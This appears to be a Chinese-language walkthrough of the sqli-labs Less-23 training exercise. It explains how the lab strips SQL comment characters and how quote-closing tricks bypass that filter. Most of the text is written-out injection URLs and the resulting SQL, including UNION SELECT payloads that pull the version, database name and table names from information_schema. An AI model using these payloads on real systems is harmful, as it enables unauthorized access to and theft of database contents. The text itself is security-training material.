#注释符的作用
#常用的注释符
-- # %23
注:%23是#号,不过是被url编码后的#号
#注释符过滤
案例sqli-labs/Less-23
首先我们先在url中输入一个值 比如?id=1
此时页面回显正常
随便在丢一个'单引号进去确定一下他的闭合方式
页面回显
''1'' LIMIT 0,1'
'1'' LIMIT 0,1
红色部分为我们输入的部分,确定闭合方式为'单引号闭合
此时使用#进行注释 把他后面的语句注释掉,发现注释失败了
页面依旧报错,如果在没有进行过滤的情况下,他回正常进行回显
这里#不起作用的原因可能是被WAF把敏感字或者语句过滤掉了。
#分析源代码
1.首先使用include()函数包含了sql.connect.php这个文件
2.使用if()进行判断,使用$_GET超级全局变量接收['id']的值,并且把这个['id']的值赋值给$id这个变量
3.将字符串中包裹的"/#/"号赋值给$reg这个变量
4.将字符串包裹的"/--/"号赋值给$reg1这个变量
5.将" " 空字符赋值给$Replace这个变量
6.使用Preg_replace()这个函数检查$id这个变量的参数,如果这个参数里出现了$reg这个变量里面的值也就是#号,将$reg这个变量替换成$replace这个变量,也就是替换成空。
7.使用Preg_replace()这个函数检查$id这个变量的参数,如果这个参数里出现了$reg1这个变量里面的值也就是--号,将$reg1这个变量替换成$replace这个变量,也就是替换成空。
以上完成后在把这个$id带入数据库中查询使用'单引号进行闭合
#手动闭合绕过
1.单引号
(1):
?id=1''
手动闭合两个' '
后端SQL语句:
原语句
Select * from user where id='1' limit 0,1
我们使用两个''单引号闭合的语句
Select * from user where id='1''' limit 0,1
红色双引号为我们属于的内容,多加一个单引号的意义就是不让他报错,在注释符不能用的情况下,我们手动让他闭合此'',这里的单引号的内容虽然为空,但是不影响我们语句执行,也不会报错
(2):
?id=1'and 1=1'
原语句
Select * from user where id='1' limit 0,1
我们使用' and 1=1 '的语句
Select * from user where id='1' and 1=1'' limit 0,1
(3)
?id=-1' union select 1,2,version() '
在两个单引号直接可以注入查询语句
Select * from user where id='1' limit 0,1
我们构造的注入语句
Select * from user where id='-1' union select 1,2,version() ''limit 0,1
以上所有红色部分来自我们的输入
2.双引号
(1)
?id="1"""
原SQL语句
Select * from user where id="1"limit 0,1
手动闭合两个"" sql语句
Select * from user where id="1"""limit 0,1
(2)
?id="1" and 1=1""
原SQL语句
Select * from user where id="1"limit 0,1
我们使用"and 1=1"sql语句
Select * from user where id="1" and 1=1""limit 0,1
(3)
?id="-1" union select 1,2,version()""
原SQL语句
Select * from user where id="1"limit 0,1
在两个双引号直接就可以注入的SQL语句
Select * from user where id="-1" union select 1,2,version()""limit 0,1
3.单引号加括号
(1)
?id=1') '(
原SQL语句
Select * from user where id=('1')limit 0,1
手动闭合一个')加'(的sql语句
原SQL语句
Select * from user where id=('1')'(')limit 0,1
在加一个('的原因是为了和后面的他自带的')凑一对否则会报错
(2)
?id=') and 1=1('
原SQL语句
Select * from user where id=('1')limit 0,1
我们使用')and 1=1('sql语句
Select * from user where id=('1')('')limit 0,1
(3)
?id=-1')union select 1,2,version() ('
原SQL语句
Select * from user where id=('1')limit 0,1
在使用')加('就可以注入的sql语句
Select * from user where id=('-1') union select 1,2,version()('')limit 0,1
4.双引号加括号
(1)
?id=1")("
原SQL语句
Select * from user where id=("1")limit 0,1
手动闭合一个")加("的sql语句
Select * from user where id=("1")("")limit 0,1
(2)
?id=1")and 1=1("
原SQL语句
Select * from user where id=("1")limit 0,1
我们使用")and 1=1("sql语句
Select * from user where id=("1")and 1=1("")limit 0,1
(3)
?id=-1")union select 1,2,version() ("
原SQL语句
Select * from user where id=("1")limit 0,1
在使用")加("就可以注入的sql语句
Select * from user where id=("-1")union select 1,2,version()("")limit 0,1
#其他闭合方式
?id=1' and '1'='1
当我们在测试的时候,如果他的源码的闭合方式是使用' '单引号进行闭合。我们可以使用?id=1' and 1=2 ' 这种方式进行闭合。但是有的时候我们使用这种方式的时候页面看不出任何效果,这个时候我们就可以使用?id=1' and '1'='1这种方式进行闭合
?id=1' and 1=1'
后台sql语句
Select * from user where id='1' and 1=1'' limit 0,1
红色部分的''为我们输入的,可以看出来后面的红色单引号和他自带的单引号,里面内容有空,有的时候完整性不够,或者其他的原因他使用不出效果。
?id=1' and '1'='1
后台sql语句
Select * from user where id='1' and '1'='1' limit 0,1
红色部分的单引号为我们输入的单引号,从语句中可以看出输入的完整性。
所以在构造注入语句的时候我们就可以直接在中间的部分直接构造
?id=-1' union select 1,2,database() and '1'='1
后台sql语句
Select * from user where id='-1' union select 1,2,3 and '1'='1 ' limit 0,1
#案例演示
首先我们在确定字段的时候,可以注意一下,当我们在使用group by 确定字段的时候,不管我们输入多大的字段页面都正常显示 。那么明显这里就有问题了。因为这里正常的是3个字段,可是输入了超过3的字段他依旧没有进行报错。
解决方法:使用union select 来进行字段的确定
?id=1' union select 1 and '1'='1
使用union select 1 的时候页面报错
我们在使用 union select 1,2
这样一个字段一个字段的往里面写,等他页面正常回显了就确定了他的字段数
url: ?id=1' union select 1,2,3,4 and '1'='1
当我们输入到3的时候页面正常回显。
以此确定页面三个字段
如果大家不确定的话,可以在往后面写。
确定显示的字段
?id=-1'%20 union select 1,2,3 and '1'='1
页面回显1,2
确定回显字段1,2
获取当前数据库
?id=-1' union select 1,database(),3 and '1'='1
当前数据库为Seucrity
获取数据库表名
?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 and '1'='1
以下就常规使用测试语句查询就行
补充